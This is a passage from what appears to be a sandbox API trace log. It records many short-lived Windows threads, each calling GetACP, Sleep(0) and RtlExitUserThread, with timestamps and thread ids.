0x4e4 [0232.520] Sleep (dwMilliseconds=0x0) [0232.677] RtlExitUserThread (Status=0x0) Thread: id = 1976 os_tid = 0x1d54 [0232.521] GetACP () returned 0x4e4 [0232.521] GetACP () returned 0x4e4 [0232.521] Sleep (dwMilliseconds=0x0) [0232.678] RtlExitUserThread (Status=0x0) Thread: id = 1997 os_tid = 0x1da8 [0232.679] GetACP () returned 0x4e4 [0232.679] GetACP () returned 0x4e4 [0232.679] Sleep (dwMilliseconds=0x0) [0232.841] RtlExitUserThread (Status=0x0) Thread: id = 1998 os_tid = 0x1dac [0232.680] GetACP () returned 0x4e4 [0232.680] GetACP () returned 0x4e4 [0232.680] Sleep (dwMilliseconds=0x0) [0232.842] RtlExitUserThread (Status=0x0) Thread: id = 1999 os_tid = 0x1db0 [0232.680] GetACP () returned 0x4e4 [0232.680] GetACP () returned 0x4e4 [0232.680] Sleep (dwMilliseconds=0x0) [0232.843] RtlExitUserThread (Status=0x0) Thread: id = 2000 os_tid = 0x1db4 [0232.681] GetACP () returned 0x4e4 [0232.681] GetACP () returned 0x4e4 [0232.681] Sleep (dwMilliseconds=0x0) [0232.844] RtlExitUserThread (Status=0x0) Thread: id = 2001 os_tid = 0x1db8 [0232.681] GetACP () returned 0x4e4 [0232.681] GetACP () returned 0x4e4 [0232.681] Sleep (dwMilliseconds=0x0) [0232.845] RtlExitUserThread (Status=0x0) Thread: id = 2002 os_tid = 0x1dbc [0232.682] GetACP () returned 0x4e4 [0232.682] GetACP () returned 0x4e4 [0232.682] Sleep (dwMilliseconds=0x0) [0232.846] RtlExitUserThread (Status=0x0) Thread: id = 2003 os_tid = 0x1dc0 [0232.682] GetACP () returned 0x4e4 [0232.682] GetACP () returned 0x4e4 [0232.682] Sleep (dwMilliseconds=0x0) [0232.847] RtlExitUserThread (Status=0x0) Thread: id = 2004 os_tid = 0x1dc4 [0232.682] GetACP () returned 0x4e4 [0232.683] GetACP () returned 0x4e4 [0232.683] Sleep (dwMilliseconds=0x0) [0232.848] RtlExitUserThread (Status=0x0) Thread: id = 2005 os_tid = 0x1dc8 [0232.683] GetACP () returned 0x4e4 [0232.683] GetACP () returned 0x4e4 [0232.683] Sleep (dwMilliseconds=0x0) [0232.849] RtlExitUserThread (Status=0x0) Thread: id = 2006 os_tid = 0x1dcc [0232.684] GetACP () returned 0x4e4 [0232.684] GetACP () returned 0x4e4 [0232.684] Sleep (dwMilliseconds=0x0) [0232.850] RtlExitUserThread (Status=0x0) Thread: id = 2007 os_tid = 0x1dd0 [0232.684] GetACP () returned 0x4e4 [0232.684] GetACP () returned 0x4e4 [0232.684] Sleep (dwMilliseconds=0x0) [0232.851] RtlExitUserThread (Status=0x0) Thread: id = 2008 os_tid = 0x1dd4 [0232.685] GetACP () returned 0x4e4 [0232.685] GetACP () returned 0x4e4 [0232.685] Sleep (dwMilliseconds=0x0) [0232.852] RtlExitUserThread (Status=0x0) Thread: id = 2009 os_tid = 0x1dd8 [0232.686] GetACP () returned 0x4e4 [0232.686] GetACP () returned 0x4e4 [0232.686] Sleep (dwMilliseconds=0x0) [0232.853] RtlExitUserThread (Status=0x0) Thread: id = 2010 os_tid = 0x1ddc [0232.686] GetACP () returned 0x4e4 [0232.686] GetACP () returned 0x4e4 [0232.686] Sleep (dwMilliseconds=0x0) [0232.854] RtlExitUserThread (Status=0x0) Thread: id = 2011 os_tid = 0x1de0 [0232.687] GetACP () returned 0x4e4 [0232.687] GetACP () returned 0x4e4 [0232.687] Sleep (dwMilliseconds=0x0) [0232.855] RtlExitUserThread (Status=0x0) Thread: id = 2012 os_tid = 0x1de4 [0232.687] GetACP () returned 0x4e4 [0232.687] GetACP () returned 0x4e4 [0232.687] Sleep (dwMilliseconds=0x0) [0232.855] RtlExitUserThread (Status=0x0) Thread: id = 2013 os_tid = 0x1de8 [0232.687] GetACP () returned 0x4e4 [0232.687] GetACP () returned 0x4e4 [0232.687] Sleep (dwMilliseconds=0x0) [0232.857] RtlExitUserThread (Status=0x0) Thread: id = 2014 os_tid = 0x1dec [0232.688] GetACP () returned 0x4e4 [0232.688] GetACP () returned 0x4e4 [0232.688] Sleep (dwMilliseconds=0x0) [0232.858] RtlExitUserThread (Status=0x0) Thread: id = 2015 os_tid = 0x1df0 [0232.688] GetACP () returned 0x4e4 [0232.688] GetACP () returned 0x4e4 [0232.688] Sleep (dwMilliseconds=0x0) [0232.859] RtlExitUserThread (Status=0x0) Thread: id = 2016 os_tid = 0x1df4 [0232.689] GetACP () returned 0x4e4 [0232.689] GetACP () returned 0x4e4 [0232.689] Sleep (dwMilliseconds=0x0) [0232.860] RtlExitUserThread (Status=0x0) Thread: id = 2037 os_tid = 0x1e48 [0232.862] GetACP () returned 0x4e4 [0232.862] GetACP () returned 0x4e4 [0232.862] Sleep (dwMilliseconds=0x0) [0233.268] RtlExitUserThread (Status=0x0) Thread: id = 2038 os_tid = 0x1e4c [0232.863] GetACP () returned 0x4e4 [0232.863] GetACP () returned 0x4e4 [0232.863] Sleep (dwMilliseconds=0x0) [0233.268] RtlExitUserThread (Status=0x0) Thread: id = 2039 os_tid = 0x1e50 [0232.864] GetACP () returned 0x4e4 [0232.864] GetACP () returned 0x4e4 [0232.864] Sleep (dwMilliseconds=0x0) [0233.269] RtlExitUserThread (Status=0x0) Thread: id = 2040 os_tid = 0x1e54 [0232.864] GetACP () returned 0x4e4 [0232.864] GetACP () returned 0x4e4 [0232.864] Sleep (dwMilliseconds=0x0) [0233.269] RtlExitUserThread (Status=0x0) Thread: id = 2041 os_tid = 0x1e58 [0232.865] GetACP () returned 0x4e4 [0232.865] GetACP () returned 0x4e4 [0232.865] Sleep (dwMilliseconds=0x0) [0233.270] RtlExitUserThread (Status=0x0) Thread: id = 2042 os_tid = 0x1e5c [0232.866] GetACP () returned 0x4e4 [0232.866] GetACP () returned 0x4e4 [0232.866] Sleep (dwMilliseconds=0x0) [0233.271] RtlExitUserThread (Status=0x0) Thread: id = 2043 os_tid = 0x1e60 [0232.867] GetACP () returned 0x4e4 [0232.867] GetACP () returned 0x4e4 [0232.867] Sleep (dwMilliseconds=0x0) [0233.271] RtlExitUserThread (Status=0x0) Thread: id = 2044 os_tid = 0x1e64 [0232.868] GetACP () returned 0x4e4 [0232.868] GetACP () returned 0x4e4 [0232.868] Sleep (dwMilliseconds=0x0) [0233.272] RtlExitUserThread (Status=0x0) Thread: id = 2045 os_tid = 0x1e68 [0232.869] GetACP () returned 0x4e4 [0232.869] GetACP () returned 0x4e4 [0232.869] Sleep (dwMilliseconds=0x0) [0233.273] RtlExitUserThread (Status=0x0) Thread: id = 2046 os_tid = 0x1e6c [0232.869] GetACP () returned 0x4e4 [0232.869] GetACP () returned 0x4e4 [0232.869] Sleep (dwMilliseconds=0x0) [0233.273] RtlExitUserThread (Status=0x0) Thread: id = 2047 os_tid = 0x1e70 [0232.870] GetACP () returned 0x4e4 [0232.870] GetACP () returned 0x4e4 [0232.870] Sleep (dwMilliseconds=0x0) [0233.275] RtlExitUserThread (Status=0x0) Thread: id = 2048 os_tid = 0x1e74 [0232.870] GetACP () returned 0x4e4 [0232.871] GetACP () returned 0x4e4 [0232.871] Sleep (dwMilliseconds=0x0) [0233.276] RtlExitUserThread (Status=0x0) Thread: id = 2049 os_tid = 0x1e78 [0232.871] GetACP () returned 0x4e4 [0232.871] GetACP () returned 0x4e4 [0232.871] Sleep (dwMilliseconds=0x0) [0233.276] RtlExitUserThread (Status=0x0) Thread: id = 2050 os_tid = 0x1e7c [0232.872] GetACP () returned 0x4e4 [0232.872] GetACP () returned 0x4e4 [0232.872] Sleep (dwMilliseconds=0x0) [0233.277] RtlExitUserThread (Status=0x0) Thread: id = 2051 os_tid = 0x1e80 [0232.873] GetACP () returned 0x4e4 [0232.873] GetACP () returned 0x4e4 [0232.873] Sleep (dwMilliseconds=0x0) [0233.278] RtlExitUserThread (Status=0x0) Thread: id = 2052 os_tid = 0x1e84 [0232.873] GetACP () returned 0x4e4 [0232.874] GetACP () returned 0x4e4 [0232.874] Sleep (dwMilliseconds=0x0) [0233.279] RtlExitUserThread (Status=0x0) Thread: id = 2053 os_tid = 0x1e88 [0232.874] GetACP () returned 0x4e4 [0232.874] GetACP () returned 0x4e4 [0232.874] Sleep (dwMilliseconds=0x0) [0233.279] RtlExitUserThread (Status=0x0) Thread: id = 2054 os_tid = 0x1e8c [0232.875] GetACP () returned 0x4e4 [0232.875] GetACP () returned 0x4e4 [0232.875] Sleep (dwMilliseconds=0x0) [0233.280] RtlExitUserThread (Status=0x0) Thread: id = 2055 os_tid = 0x1e90 [0232.875] GetACP () returned 0x4e4 [0232.875] GetACP () returned 0x4e4 [0232.876] Sleep (dwMilliseconds=0x0) [0233.280] RtlExitUserThread (Status=0x0) Thread: id = 2056 os_tid = 0x1e94 [0232.877] GetACP () returned 0x4e4 [0232.877] GetACP () returned 0x4e4 [0232.877] Sleep (dwMilliseconds=0x0) [0233.281] RtlExitUserThread (Status=0x0) Thread: id = 2077 os_tid = 0x1ee8 [0233.282] GetACP () returned 0x4e4 [0233.282] GetACP () returned 0x4e4 [0233.282] Sleep (dwMilliseconds=0x0) [0233.509] RtlExitUserThread (Status=0x0) Thread: id = 2078 os_tid = 0x1eec [0233.283] GetACP () returned 0x4e4 [0233.283] GetACP () returned 0x4e4 [0233.283] Sleep (dwMilliseconds=0x0) [0233.510] RtlExitUserThread (Status=0x0) Thread: id = 2079 os_tid = 0x1ef0 [0233.283] GetACP () returned 0x4e4 [0233.283] GetACP () returned 0x4e4 [0233.283] Sleep (dwMilliseconds=0x0) [0233.511] RtlExitUserThread (Status=0x0) Thread: id = 2080 os_tid = 0x1ef4 [0233.284] GetACP () returned 0x4e4 [0233.284] GetACP () returned 0x4e4 [0233.284] Sleep (dwMilliseconds=0x0) [0233.512] RtlExitUserThread (Status=0x0) Thread: id = 2081 os_tid = 0x1ef8 [0233.285] GetACP () returned 0x4e4 [0233.285] GetACP () returned 0x4e4 [0233.285] Sleep (dwMilliseconds=0x0) [0233.513] RtlExitUserThread (Status=0x0) Thread: id = 2082 os_tid = 0x1efc [0233.286] GetACP () returned 0x4e4 [0233.286] GetACP () returned 0x4e4 [0233.286] Sleep (dwMilliseconds=0x0) [0233.514] RtlExitUserThread (Status=0x0) Thread: id = 2083 os_tid = 0x1f00 [0233.286] GetACP () returned 0x4e4 [0233.286] GetACP () returned 0x4e4 [0233.286] Sleep (dwMilliseconds=0x0) [0233.515] RtlExitUserThread (Status=0x0) Thread: id = 2084 os_tid = 0x1f04 [0233.287] GetACP () returned 0x4e4 [0233.287] GetACP () returned 0x4e4 [0233.287] Sleep (dwMilliseconds=0x0) [0233.516] RtlExitUserThread (Status=0x0) Thread: id = 2085 os_tid = 0x1f08 [0233.288] GetACP () returned 0x4e4 [0233.288] GetACP () returned 0x4e4 [0233.288] Sleep (dwMilliseconds=0x0) [0233.517] RtlExitUserThread (Status=0x0) Thread: id = 2086 os_tid = 0x1f0c [0233.288] GetACP () returned 0x4e4 [0233.288] GetACP () returned 0x4e4 [0233.288] Sleep (dwMilliseconds=0x0) [0233.518] RtlExitUserThread (Status=0x0) Thread: id = 2087 os_tid = 0x1f10 [0233.289] GetACP () returned 0x4e4 [0233.289] GetACP () returned 0x4e4 [0233.289] Sleep (dwMilliseconds=0x0) [0233.518] RtlExitUserThread (Status=0x0) Thread: id = 2088 os_tid = 0x1f14 [0233.289] GetACP () returned 0x4e4 [0233.289] GetACP () returned 0x4e4 [0233.289] Sleep (dwMilliseconds=0x0) [0233.519] RtlExitUserThread (Status=0x0) Thread: id = 2089 os_tid = 0x1f18 [0233.290] GetACP () returned 0x4e4 [0233.290] GetACP () returned 0x4e4 [0233.290] Sleep (dwMilliseconds=0x0) [0233.520] RtlExitUserThread (Status=0x0) Thread: id = 2090 os_tid = 0x1f1c [0233.290] GetACP () returned 0x4e4 [0233.290] GetACP () returned 0x4e4 [0233.290] Sleep (dwMilliseconds=0x0) [0233.521] RtlExitUserThread (Status=0x0) Thread: id = 2091 os_tid = 0x1f20 [0233.291] GetACP () returned 0x4e4 [0233.291] GetACP () returned 0x4e4 [0233.291] Sleep (dwMilliseconds=0x0) [0233.522] RtlExitUserThread (Status=0x0) Thread: id = 2092 os_tid = 0x1f24 [0233.291] GetACP () returned 0x4e4 [0233.291] GetACP () returned 0x4e4 [0233.291] Sleep (dwMilliseconds=0x0) [0233.523] RtlExitUserThread (Status=0x0) Thread: id = 2093 os_tid = 0x1f28 [0233.292] GetACP () returned 0x4e4 [0233.292] GetACP () returned 0x4e4 [0233.292] Sleep (dwMilliseconds=0x0) [0233.524] RtlExitUserThread (Status=0x0) Thread: id = 2094 os_tid = 0x1f2c [0233.306] GetACP () returned 0x4e4 [0233.306] GetACP () returned 0x4e4 [0233.306] Sleep (dwMilliseconds=0x0) [0233.524] RtlExitUserThread (Status=0x0) Thread: id = 2095 os_tid = 0x1f30 [0233.307] GetACP () returned 0x4e4 [0233.307] GetACP () returned 0x4e4 [0233.307] Sleep (dwMilliseconds=0x0) [0233.525] RtlExitUserThread (Status=0x0) Thread: id = 2096 os_tid = 0x1f34 [0233.307] GetACP () returned 0x4e4 [0233.307] GetACP () returned 0x4e4 [0233.307] Sleep (dwMilliseconds=0x0) [0233.527] RtlExitUserThread (Status=0x0) Thread: id = 2117 os_tid = 0x1f88 [0233.528] GetACP () returned 0x4e4 [0233.528] GetACP () returned 0x4e4 [0233.528] Sleep (dwMilliseconds=0x0) [0233.689] RtlExitUserThread (Status=0x0) Thread: id = 2118 os_tid = 0x1f8c [0233.528] GetACP () returned 0x4e4 [0233.529] GetACP () returned 0x4e4 [0233.529] Sleep (dwMilliseconds=0x0) [0233.690] RtlExitUserThread (Status=0x0) Thread: id = 2119 os_tid = 0x1f90 [0233.529] GetACP () returned 0x4e4 [0233.529] GetACP () returned 0x4e4 [0233.529] Sleep (dwMilliseconds=0x0) [0233.691] RtlExitUserThread (Status=0x0) Thread: id = 2120 os_tid = 0x1f94 [0233.529] GetACP () returned 0x4e4 [0233.529] GetACP () returned 0x4e4 [0233.530] Sleep (dwMilliseconds=0x0) [0233.691] RtlExitUserThread (Status=0x0) Thread: id = 2121 os_tid = 0x1f98 [0233.530] GetACP () returned 0x4e4 [0233.530] GetACP () returned 0x4e4 [0233.530] Sleep (dwMilliseconds=0x0) [0233.692] RtlExitUserThread (Status=0x0) Thread: id = 2122 os_tid = 0x1f9c [0233.531] GetACP () returned 0x4e4 [0233.531] GetACP () returned 0x4e4 [0233.531] Sleep (dwMilliseconds=0x0) [0233.693] RtlExitUserThread (Status=0x0) Thread: id = 2123 os_tid = 0x1fa0 [0233.531] GetACP () returned 0x4e4 [0233.531] GetACP () returned 0x4e4 [0233.531] Sleep (dwMilliseconds=0x0) [0233.693] RtlExitUserThread (Status=0x0) Thread: id = 2124 os_tid = 0x1fa4 [0233.532] GetACP () returned 0x4e4 [0233.532] GetACP () returned 0x4e4 [0233.532] Sleep (dwMilliseconds=0x0) [0233.694] RtlExitUserThread (Status=0x0) Thread: id = 2125 os_tid = 0x1fa8 [0233.532] GetACP () returned 0x4e4 [0233.532] GetACP () returned 0x4e4 [0233.532] Sleep (dwMilliseconds=0x0) [0233.694] RtlExitUserThread (Status=0x0) Thread: id = 2126 os_tid = 0x1fac [0233.533] GetACP () returned 0x4e4 [0233.533] GetACP () returned 0x4e4 [0233.533] Sleep (dwMilliseconds=0x0) [0233.695] RtlExitUserThread (Status=0x0) Thread: id = 2127 os_tid = 0x1fb0 [0233.534] GetACP () returned 0x4e4 [0233.534] GetACP () returned 0x4e4 [0233.534] Sleep (dwMilliseconds=0x0) [0233.696] RtlExitUserThread (Status=0x0) Thread: id = 2128 os_tid = 0x1fb4 [0233.534] GetACP () returned 0x4e4 [0233.534] GetACP () returned 0x4e4 [0233.534] Sleep (dwMilliseconds=0x0) [0233.697] RtlExitUserThread (Status=0x0) Thread: id = 2129 os_tid = 0x1fb8 [0233.535] GetACP () returned 0x4e4 [0233.535] GetACP () returned 0x4e4 [0233.535] Sleep (dwMilliseconds=0x0) [0233.697] RtlExitUserThread (Status=0x0) Thread: id = 2130 os_tid = 0x1fbc [0233.536] GetACP () returned 0x4e4 [0233.536] GetACP () returned 0x4e4 [0233.536] Sleep (dwMilliseconds=0x0) [0233.698] RtlExitUserThread (Status=0x0) Thread: id = 2131 os_tid = 0x1fc0 [0233.537] GetACP () returned 0x4e4 [0233.537] GetACP () returned 0x4e4 [0233.537] Sleep (dwMilliseconds=0x0) [0233.699] RtlExitUserThread (Status=0x0) Thread: id = 2132 os_tid = 0x1fc4 [0233.537] GetACP () returned 0x4e4 [0233.537] GetACP () returned 0x4e4 [0233.537] Sleep (dwMilliseconds=0x0) [0233.700] RtlExitUserThread (Status=0x0) Thread: id = 2133 os_tid = 0x1fc8 [0233.538] GetACP () returned 0x4e4 [0233.538] GetACP () returned 0x4e4 [0233.538] Sleep (dwMilliseconds=0x0) [0233.701] RtlExitUserThread (Status=0x0) Thread: id = 2134 os_tid = 0x1fcc [0233.538] GetACP () returned 0x4e4 [0233.538] GetACP () returned 0x4e4 [0233.538] Sleep (dwMilliseconds=0x0) [0233.702] RtlExitUserThread (Status=0x0) Thread: id = 2135 os_tid = 0x1fd0 [0233.539] GetACP () returned 0x4e4 [0233.539] GetACP () returned 0x4e4 [0233.539] Sleep (dwMilliseconds=0x0) [0233.703] RtlExitUserThread (Status=0x0) Thread: id = 2136 os_tid = 0x1fd4 [0233.539] GetACP () returned 0x4e4 [0233.540] GetACP () returned 0x4e4 [0233.540] Sleep (dwMilliseconds=0x0) [0233.703] RtlExitUserThread (Status=0x0) Thread: id = 2157 os_tid = 0x2028 [0233.705] GetACP () returned 0x4e4 [0233.705] GetACP () returned 0x4e4 [0233.705] Sleep (dwMilliseconds=0x0) [0233.862] RtlExitUserThread (Status=0x0) Thread: id = 2158 os_tid = 0x202c [0233.705] GetACP () returned 0x4e4 [0233.705] GetACP () returned 0x4e4 [0233.705] Sleep (dwMilliseconds=0x0) [0233.863] RtlExitUserThread (Status=0x0) Thread: id = 2159 os_tid = 0x2030 [0233.706] GetACP () returned 0x4e4 [0233.706] GetACP () returned 0x4e4 [0233.706] Sleep (dwMilliseconds=0x0) [0233.864] RtlExitUserThread (Status=0x0) Thread: id = 2160 os_tid = 0x2034 [0233.707] GetACP () returned 0x4e4 [0233.707] GetACP () returned 0x4e4 [0233.707] Sleep (dwMilliseconds=0x0) [0233.864] RtlExitUserThread (Status=0x0) Thread: id = 2161 os_tid = 0x2038 [0233.708] GetACP () returned 0x4e4 [0233.708] GetACP () returned 0x4e4 [0233.708] Sleep (dwMilliseconds=0x0) [0233.865] RtlExitUserThread (Status=0x0) Thread: id = 2162 os_tid = 0x203c [0233.708] GetACP () returned 0x4e4 [0233.708] GetACP () returned 0x4e4 [0233.708] Sleep (dwMilliseconds=0x0) [0233.866] RtlExitUserThread (Status=0x0) Thread: id = 2163 os_tid = 0x2040 [0233.709] GetACP () returned 0x4e4 [0233.709] GetACP () returned 0x4e4 [0233.709] Sleep (dwMilliseconds=0x0) [0233.868] RtlExitUserThread (Status=0x0) Thread: id = 2164 os_tid = 0x2044 [0233.710] GetACP () returned 0x4e4 [0233.710] GetACP () returned 0x4e4 [0233.710] Sleep (dwMilliseconds=0x0) [0233.869] RtlExitUserThread (Status=0x0) Thread: id = 2165 os_tid = 0x2048 [0233.710] GetACP () returned 0x4e4 [0233.710] GetACP () returned 0x4e4 [0233.710] Sleep (dwMilliseconds=0x0) [0233.870] RtlExitUserThread (Status=0x0) Thread: id = 2166 os_tid = 0x204c [0233.711] GetACP () returned 0x4e4 [0233.711] GetACP () returned 0x4e4 [0233.711] Sleep (dwMilliseconds=0x0) [0233.871] RtlExitUserThread (Status=0x0) Thread: id = 2167 os_tid = 0x2050 [0233.711] GetACP () returned 0x4e4 [0233.711] GetACP () returned 0x4e4 [0233.711] Sleep (dwMilliseconds=0x0) [0233.871] RtlExitUserThread (Status=0x0) Thread: id = 2168 os_tid = 0x2054 [0233.712] GetACP () returned 0x4e4 [0233.712] GetACP () returned 0x4e4 [0233.712] Sleep (dwMilliseconds=0x0) [0233.872] RtlExitUserThread (Status=0x0) Thread: id = 2169 os_tid = 0x2058 [0233.713] GetACP () returned 0x4e4 [0233.713] GetACP () returned 0x4e4 [0233.713] Sleep (dwMilliseconds=0x0) [0233.873] RtlExitUserThread (Status=0x0) Thread: id = 2170 os_tid = 0x205c [0233.713] GetACP () returned 0x4e4 [0233.713] GetACP () returned 0x4e4 [0233.713] Sleep (dwMilliseconds=0x0) [0233.874] RtlExitUserThread (Status=0x0) Thread: id = 2171 os_tid = 0x2060 [0233.714] GetACP () returned 0x4e4 [0233.714] GetACP () returned 0x4e4 [0233.714] Sleep (dwMilliseconds=0x0) [0233.875] RtlExitUserThread (Status=0x0) Thread: id = 2172 os_tid = 0x2064 [0233.714] GetACP () returned 0x4e4 [0233.714] GetACP () returned 0x4e4 [0233.715] Sleep (dwMilliseconds=0x0) [0233.876] RtlExitUserThread (Status=0x0) Thread: id = 2173 os_tid = 0x2068 [0233.715] GetACP () returned 0x4e4 [0233.715] GetACP () returned 0x4e4 [0233.715] Sleep (dwMilliseconds=0x0) [0233.877] RtlExitUserThread (Status=0x0) Thread: id = 2174 os_tid = 0x206c [0233.716] GetACP () returned 0x4e4 [0233.716] GetACP () returned 0x4e4 [0233.716] Sleep (dwMilliseconds=0x0) [0233.878] RtlExitUserThread (Status=0x0) Thread: id = 2175 os_tid = 0x2070 [0233.716] GetACP () returned 0x4e4 [0233.716] GetACP () returned 0x4e4 [0233.716] Sleep (dwMilliseconds=0x0) [0233.879] RtlExitUserThread (Status=0x0) Thread: id = 2176 os_tid = 0x2074 [0233.718] GetACP () returned 0x4e4 [0233.718] GetACP () returned 0x4e4 [0233.718] Sleep (dwMilliseconds=0x0) [0233.880] RtlExitUserThread (Status=0x0) Thread: id = 2197 os_tid = 0x20c8 [0233.882] GetACP () returned 0x4e4 [0233.882] GetACP () returned 0x4e4 [0233.882] Sleep (dwMilliseconds=0x0) [0234.061] RtlExitUserThread (Status=0x0) Thread: id = 2198 os_tid = 0x20cc [0233.882] GetACP () returned 0x4e4 [0233.882] GetACP () returned 0x4e4 [0233.882] Sleep (dwMilliseconds=0x0) [0234.062] RtlExitUserThread (Status=0x0) Thread: id = 2199 os_tid = 0x20d0 [0233.883] GetACP () returned 0x4e4 [0233.883] GetACP () returned 0x4e4 [0233.883] Sleep (dwMilliseconds=0x0) [0234.063] RtlExitUserThread (Status=0x0) Thread: id = 2200 os_tid = 0x20d4 [0233.884] GetACP () returned 0x4e4 [0233.884] GetACP () returned 0x4e4 [0233.884] Sleep (dwMilliseconds=0x0) [0234.064] RtlExitUserThread (Status=0x0) Thread: id = 2201 os_tid = 0x20d8 [0233.884] GetACP () returned 0x4e4 [0233.884] GetACP () returned 0x4e4 [0233.884] Sleep (dwMilliseconds=0x0) [0234.064] RtlExitUserThread (Status=0x0) Thread: id = 2202 os_tid = 0x20dc [0233.885] GetACP () returned 0x4e4 [0233.885] GetACP () returned 0x4e4 [0233.885] Sleep (dwMilliseconds=0x0) [0234.065] RtlExitUserThread (Status=0x0) Thread: id = 2203 os_tid = 0x20e0 [0233.885] GetACP () returned 0x4e4 [0233.885] GetACP () returned 0x4e4 [0233.886] Sleep (dwMilliseconds=0x0) [0234.066] RtlExitUserThread (Status=0x0) Thread: id = 2204 os_tid = 0x20e4 [0233.886] GetACP () returned 0x4e4 [0233.886] GetACP () returned 0x4e4 [0233.886] Sleep (dwMilliseconds=0x0) [0234.066] RtlExitUserThread (Status=0x0) Thread: id = 2205 os_tid = 0x20e8 [0233.887] GetACP () returned 0x4e4 [0233.887] GetACP () returned 0x4e4 [0233.887] Sleep (dwMilliseconds=0x0) [0234.067] RtlExitUserThread (Status=0x0) Thread: id = 2206 os_tid = 0x20ec [0233.896] GetACP () returned 0x4e4 [0233.896] GetACP () returned 0x4e4 [0233.896] Sleep (dwMilliseconds=0x0) [0234.068] RtlExitUserThread (Status=0x0) Thread: id = 2207 os_tid = 0x20f0 [0233.897] GetACP () returned 0x4e4 [0233.897] GetACP () returned 0x4e4 [0233.897] Sleep (dwMilliseconds=0x0) [0234.068] RtlExitUserThread (Status=0x0) Thread: id = 2208 os_tid = 0x20f4 [0233.898] GetACP () returned 0x4e4 [0233.898] GetACP () returned 0x4e4 [0233.898] Sleep (dwMilliseconds=0x0) [0234.069] RtlExitUserThread (Status=0x0) Thread: id = 2209 os_tid = 0x20f8 [0233.899] GetACP () returned 0x4e4 [0233.899] GetACP () returned 0x4e4 [0233.899] Sleep (dwMilliseconds=0x0) [0234.070] RtlExitUserThread (Status=0x0) Thread: id = 2210 os_tid = 0x20fc [0233.899] GetACP () returned 0x4e4 [0233.899] GetACP () returned 0x4e4 [0233.900] Sleep (dwMilliseconds=0x0) [0234.071] RtlExitUserThread (Status=0x0) Thread: id = 2211 os_tid = 0x2100 [0233.900] GetACP () returned 0x4e4 [0233.900] GetACP () returned 0x4e4 [0233.900] Sleep (dwMilliseconds=0x0) [0234.071] RtlExitUserThread (Status=0x0) Thread: id = 2212 os_tid = 0x2104 [0233.901] GetACP () returned 0x4e4 [0233.901] GetACP () returned 0x4e4 [0233.901] Sleep (dwMilliseconds=0x0) [0234.073] RtlExitUserThread (Status=0x0) Thread: id = 2213 os_tid = 0x2108 [0233.902] GetACP () returned 0x4e4 [0233.902] GetACP () returned 0x4e4 [0233.902] Sleep (dwMilliseconds=0x0) [0234.073] RtlExitUserThread (Status=0x0) Thread: id = 2214 os_tid = 0x210c [0233.902] GetACP () returned 0x4e4 [0233.902] GetACP () returned 0x4e4 [0233.902] Sleep (dwMilliseconds=0x0) [0234.074] RtlExitUserThread (Status=0x0) Thread: id = 2215 os_tid = 0x2110 [0233.903] GetACP () returned 0x4e4 [0233.903] GetACP () returned 0x4e4 [0233.903] Sleep (dwMilliseconds=0x0) [0234.075] RtlExitUserThread (Status=0x0) Thread: id = 2216 os_tid = 0x2114 [0233.904] GetACP () returned 0x4e4 [0233.904] GetACP () returned 0x4e4 [0233.904] Sleep (dwMilliseconds=0x0) [0234.075] RtlExitUserThread (Status=0x0) Thread: id = 2237 os_tid = 0x2168 [0234.077] GetACP () returned 0x4e4 [0234.077] GetACP () returned 0x4e4 [0234.077] Sleep (dwMilliseconds=0x0) [0234.231] RtlExitUserThread (Status=0x0) Thread: id = 2238 os_tid = 0x216c [0234.077] GetACP () returned 0x4e4 [0234.077] GetACP () returned 0x4e4 [0234.077] Sleep (dwMilliseconds=0x0) [0234.232] RtlExitUserThread (Status=0x0) Thread: id = 2239 os_tid = 0x2170 [0234.078] GetACP () returned 0x4e4 [0234.078] GetACP () returned 0x4e4 [0234.078] Sleep (dwMilliseconds=0x0) [0234.233] RtlExitUserThread (Status=0x0) Thread: id = 2240 os_tid = 0x2174 [0234.078] GetACP () returned 0x4e4 [0234.078] GetACP () returned 0x4e4 [0234.078] Sleep (dwMilliseconds=0x0) [0234.234] RtlExitUserThread (Status=0x0) Thread: id = 2241 os_tid = 0x2178 [0234.079] GetACP () returned 0x4e4 [0234.079] GetACP () returned 0x4e4 [0234.079] Sleep (dwMilliseconds=0x0) [0234.235] RtlExitUserThread (Status=0x0) Thread: id = 2242 os_tid = 0x217c [0234.079] GetACP () returned 0x4e4 [0234.079] GetACP () returned 0x4e4 [0234.079] Sleep (dwMilliseconds=0x0) [0234.236] RtlExitUserThread (Status=0x0) Thread: id = 2243 os_tid = 0x2180 [0234.079] GetACP () returned 0x4e4 [0234.079] GetACP () returned 0x4e4 [0234.079] Sleep (dwMilliseconds=0x0) [0234.236] RtlExitUserThread (Status=0x0) Thread: id = 2244 os_tid = 0x2184 [0234.080] GetACP () returned 0x4e4 [0234.080] GetACP () returned 0x4e4 [0234.080] Sleep (dwMilliseconds=0x0) [0234.237] RtlExitUserThread (Status=0x0) Thread: id = 2245 os_tid = 0x2188 [0234.081] GetACP () returned 0x4e4 [0234.081] GetACP () returned 0x4e4 [0234.081] Sleep (dwMilliseconds=0x0) [0234.238] RtlExitUserThread (Status=0x0) Thread: id = 2246 os_tid = 0x218c [0234.081] GetACP () returned 0x4e4 [0234.082] GetACP () returned 0x4e4 [0234.082] Sleep (dwMilliseconds=0x0) [0234.239] RtlExitUserThread (Status=0x0) Thread: id = 2247 os_tid = 0x2190 [0234.082] GetACP () returned 0x4e4 [0234.082] GetACP () returned 0x4e4 [0234.082] Sleep (dwMilliseconds=0x0) [0234.239] RtlExitUserThread (Status=0x0) Thread: id = 2248 os_tid = 0x2194 [0234.083] GetACP () returned 0x4e4 [0234.083] GetACP () returned 0x4e4 [0234.083] Sleep (dwMilliseconds=0x0) [0234.240] RtlExitUserThread (Status=0x0) Thread: id = 2249 os_tid = 0x2198 [0234.084] GetACP () returned 0x4e4 [0234.084] GetACP () returned 0x4e4 [0234.084] Sleep (dwMilliseconds=0x0) [0234.241] RtlExitUserThread (Status=0x0) Thread: id = 2250 os_tid = 0x219c [0234.084] GetACP () returned 0x4e4 [0234.084] GetACP () returned 0x4e4 [0234.084] Sleep (dwMilliseconds=0x0) [0234.242] RtlExitUserThread (Status=0x0) Thread: id = 2251 os_tid = 0x21a0 [0234.085] GetACP () returned 0x4e4 [0234.085] GetACP () returned 0x4e4 [0234.085] Sleep (dwMilliseconds=0x0) [0234.243] RtlExitUserThread (Status=0x0) Thread: id = 2252 os_tid = 0x21a4 [0234.086] GetACP () returned 0x4e4 [0234.086] GetACP () returned 0x4e4 [0234.086] Sleep (dwMilliseconds=0x0) [0234.248] RtlExitUserThread (Status=0x0) Thread: id = 2253 os_tid = 0x21a8 [0234.086] GetACP () returned 0x4e4 [0234.086] 